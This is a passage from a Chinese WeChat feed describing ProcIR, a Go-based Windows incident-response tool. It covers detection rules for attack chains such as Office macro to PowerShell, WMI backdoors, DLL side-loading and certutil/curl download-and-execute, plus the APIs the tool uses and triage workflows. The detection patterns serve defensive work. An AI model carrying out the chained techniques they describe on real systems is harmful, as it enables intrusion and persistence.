leaf="">宏攻击链</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;min-width: 85px;"><p><span leaf="">Word → PowerShell → 外联</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;min-width: 85px;"><p><span leaf="">浏览器利用链</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;min-width: 85px;"><p><span leaf="">Chrome → cmd → powershell</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;min-width: 85px;"><p><span leaf="">持久化执行链</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;min-width: 85px;"><p><span leaf="">文件落地 → 注册表写入 → Prefetch 执行记录</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;min-width: 85px;"><p><span leaf="">WMI 后门链</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;min-width: 85px;"><p><span leaf="">WMI Consumer → 脚本引擎 → URL</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;min-width: 85px;"><p><span leaf="">DLL 侧加载链</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;min-width: 85px;"><p><span leaf="">签名进程 → 用户目录 DLL</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;min-width: 85px;"><p><span leaf="">下载执行链</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;min-width: 85px;"><p><span leaf="">cmd /c → certutil/curl → 执行</span></p></td></tr></tbody></table></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">命中行为链的分数会直接叠加到关联的执行对象上。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">技术实现</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">纯 Go，外部依赖只有 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">golang.org/x/sys</span></code><span leaf="">（Windows API 绑定）。</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">进程枚举：</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">CreateToolhelp32Snapshot</span></code><span leaf=""> + </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">NtQueryInformationProcess</span></code><span leaf="">（读 PEB 拿命令行）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">数字签名：</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">WinVerifyTrust</span></code><span leaf=""> + </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">GetFileVersionInfo</span></code></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">网络连接：</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">GetExtendedTcpTable</span></code><span leaf=""> / </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">GetExtendedUdpTable</span></code></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">持久化：注册表 API + SCM API + 计划任务 XML 解析 + WMI 查询</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">事件日志：</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">wevtutil</span></code><span leaf="">（支持在线和离线 .evtx）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">DLL 模块：</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">CreateToolhelp32Snapshot(TH32CS_SNAPMODULE)</span></code></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">内存分析：</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">VirtualQueryEx</span></code></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">YARA：纯 Go 实现的规则解析器 + 模式匹配引擎</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">GUI：内嵌 HTTP 服务器 + HTML/JS 单页应用（不需要 Node.js / Electron）</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">52 个 Go 源文件，11,700+ 行代码，编译产物 11MB。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">使用场景</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">场景 1：常规应急</span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">上机 → 运行 procir.exe → 点&#34;开始扫描&#34; → 看&#34;执行对象&#34;视图 → Critical 和 High 的先查 → 右键复制 SHA256 去 VT 确认</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">场景 2：白加黑排查</span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">扫描 → 看&#34;模块分析&#34;视图 → 有没有签名进程加载了用户目录的未签名 DLL → 双击看详情</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">场景 3：持久化排查</span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">扫描 → 看&#34;触发器&#34;视图 → 排序看高分的 → 是不是有可疑的计划任务/WMI/服务</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">场景 4：威胁情报碰撞</span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">扫描 → 切到&#34;IOC 监控&#34; → 粘贴情报 IP 列表 → 开始监控 → 看有没有进程在连这些 IP</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">场景 5：可疑进程深挖</span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">进程视图发现一个高分进程 → 切到&#34;内存分析&#34;输入 PID → 看有没有 RWX 内存 → 切到 YARA 上传规则扫一下</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">最后</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">工具地址：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf=""><a href="https://github.com/dogadmin/ProcIR" target="_blank">https://github.com/dogadmin/ProcIR</a></span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">单文件，11MB，管理员运行，扫完即走。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不是杀软，不做查杀，只帮你更快找到该看的东西。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果对你有帮助，给个 Star。有问题欢迎提 Issue。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a808da4d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247484049%26idx%3D1%26sn%3D7091f36d40164fcd7e8a3d5dc7371e3d">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 28 Mar 2026 22:40:00 +0800</pubDate>
    </item>
    <item>
      <title>谁来保护你的安全设备？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247484045&amp;idx=1&amp;sn=aec48523131aeb406b2320a158324613</link>
      <description>2024年到2025年，安全行业发生了一件很讽刺的事：安全设备本身成了最大的攻击入口。</description>
      <content:encoded><![CDATA[<p>原创 <span>黑屋运维</span> <span>2026-03-27 15:41</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c848e057&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTAFC5BLa6G279Nd07dBicfw0fxKVnpQgPc6e7k1KqcC4yVGV4yQ6RYOic010K3sWfGxQqK1R9tkLdhj1ElD3F6YDW3J9zicYDQpGbYkbhbXtcI%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">2024年到2025年，安全行业发生了一件很讽刺的事：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">安全设备本身成了最大的攻击入口。</span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Ivanti Connect Secure 